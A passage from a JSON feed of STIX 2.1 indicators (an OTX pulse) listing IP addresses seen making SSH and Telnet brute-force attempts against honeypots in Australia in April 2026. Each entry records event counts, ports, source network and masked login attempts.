      "valid_from": "2026-04-19T06:15:03.000Z",
      "valid_until": "2026-05-21T06:15:02.000Z"
    },
    {
      "created": "2026-04-19T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, c****g. Passwords observed (masked): a***n, c****g.",
      "id": "indicator--398a0c5e-4fba-4829-8dc0-4f74c0e12642",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.110.148.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T06:15:03.000Z",
      "valid_until": "2026-05-21T06:15:02.000Z"
    },
    {
      "created": "2026-04-19T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, i*******r, s***d, s*****t, u**t. Passwords observed (masked): a*******3, i*******r, s***d, s*****t, u**t.",
      "id": "indicator--21bcb2b5-765b-458f-bdfb-248ff95bffc0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.110.150.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T06:15:03.000Z",
      "valid_until": "2026-05-21T06:15:02.000Z"
    },
    {
      "created": "2026-04-19T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 529. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, d*******r, m*****r. Passwords observed (masked): 1****6, p******d, 1***5, 1**4, a****3.",
      "id": "indicator--8c6060ef-107e-4292-bb9c-35ce98a9f792",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.231.197.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T06:15:03.000Z",
      "valid_until": "2026-05-21T06:15:02.000Z"
    },
    {
      "created": "2026-04-19T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 497. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, c****t, c***o, 1**4. Passwords observed (masked): p******d, 1**4, 0**************D, 1****6, a***n.",
      "id": "indicator--ac821890-25d8-4a40-b3b4-3d7cfe1f4760",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.47.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T06:15:03.000Z",
      "valid_until": "2026-05-21T06:15:02.000Z"
    },
    {
      "created": "2026-04-19T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--8bd8b7c8-79f0-4917-bd98-648d8791a7ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.238.168.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T06:15:03.000Z",
      "valid_until": "2026-05-21T06:15:02.000Z"
    },
    {
      "created": "2026-04-19T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB.",
      "id": "indicator--a7b046bf-6cbd-40eb-a2ba-275251cc28fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.236.108.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T06:15:03.000Z",
      "valid_until": "2026-05-21T06:15:02.000Z"
    },
    {
      "created": "2026-04-19T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--03110ff4-157f-424c-a794-39847a734257",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.33.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T06:15:03.000Z",
      "valid_until": "2026-05-21T06:15:02.000Z"
    },
    {
      "created": "2026-04-19T07:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 42526. Organisation(s): Computer Communication Systems LLC.",
      "id": "indicator--9a30e600-f056-478d-af03-d04f5415e403",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.170.116.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T07:15:03.000Z",
      "valid_until": "2026-05-21T07:15:02.000Z"
    },
    {
      "created": "2026-04-19T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 779. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 3449. Organisation(s): Universidad Nacional de Buenos Aires. Usernames observed (masked): r**t, o****e, t**t, u**r, f***k. Passwords observed (masked): 1****6, a****3, *, ***, 1******8.",
      "id": "indicator--39cb7bdc-d8b5-454a-8e9a-5a545656b3e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.92.145.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T08:15:06.000Z",
      "valid_until": "2026-05-21T08:15:02.000Z"
    },
    {
      "created": "2026-04-19T09:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--8ad762f9-87cd-45de-bc40-7c1c6c5f306b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T09:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.82.0.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T09:15:08.000Z",
      "valid_until": "2026-05-21T09:15:02.000Z"
    },
    {
      "created": "2026-04-19T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--1c22b3e6-3590-49fe-9d85-9c9db452e9d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.66.104.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T10:15:10.000Z",
      "valid_until": "2026-05-21T10:15:08.000Z"
    },
    {
      "created": "2026-04-19T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--d9e3bfbc-4a2d-4cd5-8231-b4398bae4b70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.216.134.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T10:15:10.000Z",
      "valid_until": "2026-05-21T10:15:08.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 141990. Organisation(s): KHAZANA ENTERPRISE PRIVATE LIMITED. Usernames observed (masked): r**t, 3**********4, u****u. Passwords observed (masked): 3***********4, 3**********4, A******!, C**********3, r*******$.",
      "id": "indicator--87e07e53-4a30-4ae1-b136-a208e56354c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.164.9.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 361. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 133802. Organisation(s): Universitas Pasundan Bandung. Usernames observed (masked): r**t, 3**********4, o**o, s****r, a***n. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1****6.",
      "id": "indicator--615365ba-a4cd-4860-bdac-a44980593494",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.41.247.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, u***1, 3**********4, O****e, a***n. Passwords observed (masked): !*****1, ***, 1****6, 1****d, 1*******!.",
      "id": "indicator--5e24afb1-5bff-4222-b07e-f6c8a0ac0e76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.76.120.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--d72a8896-b64d-4ade-9b72-43b6a67c25b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.123.106.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--5aa29e95-e71e-46e6-bf14-0d706b2457f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.132.158.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited. Usernames observed (masked): r**t, o**o, s****r, 3**********4, a***n. Passwords observed (masked): *, ***, 1****6, 1******8, 1******2.",
      "id": "indicator--f8f6a93b-8bc0-496d-b01a-478fc9d5bf5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.71.136.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 290. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, ***, p******s, s***m. Passwords observed (masked): 3***********4, 3**********4, 0****0, 1****6, 1*******9.",
      "id": "indicator--b6ceaa0d-9d7a-45e3-8fa4-dba6f6b96dad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.171.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 225. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, p******s, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1*******#, A********3.",
      "id": "indicator--2830b0a8-594c-4f05-b67d-b11a440bd82a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.42.240.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 289. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, 3**********4, p******s, u**r, a**r. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, A********3.",
      "id": "indicator--de06d242-9e57-41d1-ab66-6140604f9328",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.231.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 226. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, p*******r, u****u, ***. Passwords observed (masked): 3***********4, 3**********4, 1******C, A********5, F*******!.",
      "id": "indicator--172928c2-5f22-4ad2-9730-f868b7c75db9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t, c***r, 3**********4, ***, d****y. Passwords observed (masked): 0*******2, 3***********4, 3**********4, F*******!, O*****4.",
      "id": "indicator--14c59a7b-de61-49e6-b86c-d5d50f2a928c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.32.198.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**e, 3***********4, 3**********4, q************!.",
      "id": "indicator--e7d24470-1518-494c-afce-a10fd747d046",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.207.186.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 361. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t, 3**********4, o**o, s****r, a***n. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1****6.",
      "id": "indicator--4084ecab-a7ed-46cd-bd11-6a5cb88e1345",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.189.237.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4164bcce-5381-43d5-b69f-d589d532dc0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a3596817-d3f8-4662-aa67-730e7221c809",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.168.201.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--71d14066-8785-439a-9b0d-4b0e6b9833de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.32.104.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--963956ae-dfb6-4e62-ac69-114459505452",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.32.202.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4751a6a6-2a32-439d-9e64-5e37f20c5186",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.35.146.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9b8d20ba-ef0c-493c-8cf7-8d53c2fd85ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.243.126.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--1e637b05-7c14-4b5e-9a83-3b5b98b1cf8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 242. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): r**t, u**r, 3**********4, e*****c, p******s. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, 1******D.",
      "id": "indicator--16b06fe6-b501-4d7c-a29e-de10d5e03442",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.190.156.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:15:18.000Z",
      "valid_until": "2026-05-21T11:15:02.000Z"
    },
    {
      "created": "2026-04-19T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--94596175-4e57-4e86-93bc-deffbc03efa5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.55.131.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
